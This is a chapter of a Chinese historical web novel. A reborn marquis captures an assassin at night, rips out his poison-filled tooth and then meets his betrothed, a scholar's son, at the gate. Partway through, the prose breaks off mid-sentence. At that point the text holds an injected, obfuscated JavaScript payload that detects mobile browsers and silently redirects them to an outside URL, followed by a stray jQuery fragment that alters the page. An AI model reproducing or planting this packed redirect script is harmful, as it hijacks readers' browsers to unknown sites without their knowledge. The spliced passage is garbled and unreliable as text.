是夜,定远侯府隐在植被中的窄小西角门被叩响。叩门声在夜里格外响亮,反复叩过,见无人应答,来人推了下门,门开了一道缝,便跨了进来。
陆长川照赫连空的排布,在黑暗中的树坑边上蹲了许久,等到几乎睡着。
见真有人抹黑进来,他迫不及待地一跃而起,出了手。
而此人身手不凡,打了几个来回,陆长川才将他一个反剪按倒在地,同时把他的下巴卸掉,高声呼喊:“大帅!我抓住了!”
火光亮起,赫连空提着一盏灯笼朝这边走来。
不出兵的时候他习惯早睡,这个时辰早已梳洗完毕,洗过的长发在身后柔顺搭着,天寒地冻仍只穿着一身单薄的棉布练功服,一双寻常的黑布鞋,比起侯府雕梁画栋的装饰,实在是朴素得不像个位极人臣的侯爷。
可惜再素净淡泊也是表象。灯火在夜色中照亮他的脸,映出瞳孔中收束着的冷然的肃杀,令常人不敢与他对视,如人不可直视神明。
被陆长川死死按住的人一身夜行衣,此刻正喘着粗气,下巴脱臼的痛让他的额角滴落豆大的汗珠。
赫连空蹲在他身前,将灯笼举在他头上:“抬起头来。”
来人不肯。
赫连空把灯笼的火心凑到了他散乱的头发下。要烧人时也面色如常,光影摇曳照在他的脸上,摄人心魄,却如罗刹现世。
那人连忙躲避着火光,不得不抬起了脸。
是全然陌生的,上一世没见过的人。一双眼里满是恨意。
这恨意来得无凭无据,却并不稀奇。
赫连空便伸手到了他合不上的口中,修长有力的二指摸到了他后槽牙上镶嵌的细小药囊。
他向来是体术的一把好手,此刻略用寸劲,小臂一震,指骨用力,这颗后槽牙连带着牙根和毒药一起,被生拔了下来。
那人在剧痛下险些当场晕过去,连吐好几口血水,寒冬腊月里汗出得有如水洗。
赫连空神色上没任何变化,仍是那副淡然的样子,站了起来。
生拔颗牙算不得什么。
从前在边关,他们常对蛮人的探子、俘虏处以极刑,讲不得太多规矩,战况吃紧时更是不讲投降不杀的道理。
许多时候,一手的情报他谁都信不过,得他亲手提审。
“大帅,”陆长川一脸不忍,连忙掏出自己的帕子,接过这颗带毒的牙,忙不迭地将赫连空的手擦干净,“让我来即可!你这是何必呢。”
“多少次从死人堆里爬出来,不见你嫌脏。”赫连空横他一眼,“适才回京第一天,你便养出了富贵病。”
陆长川习惯了挨他话里的软刺,自然是不恼,反而还乐了,嘿嘿笑着把帕子卷成团。
定远三十六部人人皆知,王公贵胄出身的主帅赫连空,其实是个没什么脾气也没什么架子的人。
他的脾气都在战场上,平日里不是在磨战术,就是在练枪。急行军时,来不及搭主帅营帐,便与他们同吃同住,挤在一起睡大通铺。
若说他身上有什么与人有异的怪癖,便是不爱束发,连出征要戴战盔都不束。
有一次半夜有弟兄起夜,睡迷糊了,瞧见个披头散发的,点着蜡烛站在地图前点点画画,回首时幽幽一眼在夜里分外哀怨,吓得一嗓子喊醒了半个营的人。
朔风卷尘,关外的生活没有哪一刻不令人怀恋。
陆长川不明不白地叹了口气,一脚踢了踢地上正咳嗽着呕出好几口鲜血的人:“大……侯爷,这要怎么处置?”
赫连空垂眸,看着那副惨状,思索片刻:“扔到后院的地窖里去,捆结实了,东西清一清,别让他死了。”
“得令!什么时候审他?”陆长川摩拳擦掌,这从二品的大将军为擒了一个刺客兴奋不已,“还是大帅你金口玉言。你说有人会来,从不落空。”
“白日里刺杀我不成,夜里又派人上门来。”赫连空提着一晃一晃的灯笼,率先转身往回走了。
“他只有一人,走的是门。要他来的人是要探我虚实。此人功夫了得,能与你过招。若我神智无知,侯府内外会被摸清,我也只是个带兵打仗的莽夫,当真胸无沟壑。若我早有防备,他便是一来不回了。”
“那?”陆长川追着他,“你在朝中那样说,原本不是为了让他们以为侯府里不设防?”
“却也不能真教人轻看。此子之身手已属上乘,若他都能有来无回,我是武将,我定远侯府合该如此。”
陆长川乐了:“他们想不到,我堂堂定远三十六部的副总兵,不回府,在这里给我家大帅当打手。”
没回应,陆长川老实了,提点自己记得改口:“侯爷,这些人也太沉不住气了。”
“在给我们下马威罢了。”赫连空语气平淡,对眼下的情势漠不关心,已经走到了跨院的连廊下。
“到底是谁主使?贺惊澜给你的那些文书,你什么时候能读完?”陆长川追问着他。
“不急。”他用只有自己能听见的声音回答了他。
他说不急,便是真的不急。
回燕州后的这大半个月的时日,赫连空当真大门不出二门不迈,对外宣称换水土,身体抱恙。
圣上仁爱,免了他上朝,定远侯府顺势闭门谢客。
赫连空自知他作为常驻京畿的新权贵,加之那日遇刺在人前展露了冰山一角,不论是朝中还是民间,人人都为此津津乐道,真可谓红极一时,断然是得避一避风头的。
其余的,和上辈子一样,战功卓著的定远侯和翰林院学士之子的婚事,传遍了整个燕州,提亲等诸多繁琐的礼仪都由礼部代劳。
只不过这次,不光是楚家为了嫁子忙得晕头转向,各方被他拒之门外的势力也看准了这个时机,卯足了劲准备贺礼,互相打探试图压过对方,一时间全城的显贵都没闲着。
风波中心的赫连空本人整日只休养生息,煎药喝药,刷刷马,遛遛狗,叫陆长川来与他对练几招。
陆长川追问他到底有没有把从贺惊澜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16378435|183974||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那里高价收回的情报品读明白,他仍只说二字:不急。
惹得陆长川没办法,只得跟着一起老神在在地“不急”起来。
闲暇时,赫连空也会想一下那日楚杨说过的话。
那时候,他与楚翊蓁成亲八年,对彼此并不熟悉。可纵使称不上举案齐眉,也当得上一句相敬如宾。
若是楚翊蓁当真那般崇敬他,似是憧憬他多年,还从未提及,委实是有些怪异。
不过这世上崇敬他的人多如牛毛,都是寻常,多与少都不会为他的功绩添上两笔。反之,还激得走入暮年愈发多疑的天德帝再容不下他。
赫连空回想起,上一世他被车裂时,楚翊蓁应当是随他一同奔赴刑场了。
想来,让那样一个温雅妥帖的当家人目睹了自己的夫君被五马分尸,实属残忍。
不知再走一遭,他会不会再落得那样的下场。
从领兵那一日起他便已看淡了自身的生死,可是,他不想再让家族因着他惨遭灭顶之灾,不想十指不沾阳春水的姐姐三尺白绫悬上深宫房梁,不想小侄女嫁去西域、生死不知。
还有楚翊蓁。他死后,天德帝有没有饶恕他?
大抵是不会的。满门抄斩,又怎会缺了明媒正娶的发妻。
所以这一次,他得好好活下去。
正想着,有下人叩响了他的房门,高声问询:“侯爷,有人来送东西,说是楚大人派来的,我让他进来吗?”
抛去身份地位不谈,在礼数上,岳丈派来的人应当亲自相应。
赫连空合上了手中的兵书,身上仍是那身练功服,随手披上了一件长衣,往院外走去。
他拉下了侯府正门的门闩,朱门朝内洞开,风丝缠绵,冬日青白色的日光倾洒而下,点燃了眼前人明亮的双眼。
赫连空眼睫轻颤。
阶下站着的人披着水蓝色的大氅,一身月白色的长衫,胸口以银线绣作一幅春意盎然的花鸟图,腰系玉带,挂着玉佩和一把折扇,一看便知是文人雅士的习惯。
他身形瘦高,容貌俊逸,眉清目秀,长了双毫无攻击性的温润眼瞳。发髻一丝不苟,簪了一根白玉发簪,大氅领口与兜帽的毛绒随风在他下颌处轻轻摆动着,让他整个人都分外灵动。
十七岁的楚翊蓁。
两厢对望,风息树静,天地无声。
曾与他同床共枕几百夜,阴阳相隔却山重水复,赫连空想到此时的他应当还未见过这位赐婚对象,认他不得,原要张口招呼他,又顿住了。
而楚翊蓁没料想到会是他亲自来开门,本是满心欢喜地在台阶上走上走下,等候着下人来接东西,邀他在侯府里坐坐就走。
此刻骤然相见,打了他个措手不及,被点了穴般睖睁在原地动弹不得,琥珀色的眼瞳中惊大于喜,如一条奔流的小溪被砸入一块巨石,水花飞溅,呛水入肺。
他张口要唤他“侯爷”,手却是抖得使不上一点力,提了满手的多层套盒从掌中滑了下去,应声而裂。